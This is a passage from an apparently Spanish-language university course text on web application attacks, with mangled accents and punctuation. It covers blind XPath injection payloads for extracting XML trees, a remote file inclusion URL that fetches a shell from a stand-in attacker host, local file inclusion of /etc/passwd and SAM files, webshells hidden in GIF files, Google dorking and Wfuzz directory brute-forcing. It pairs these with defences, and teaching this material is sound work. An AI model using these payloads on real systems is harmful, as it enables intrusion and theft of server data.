mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

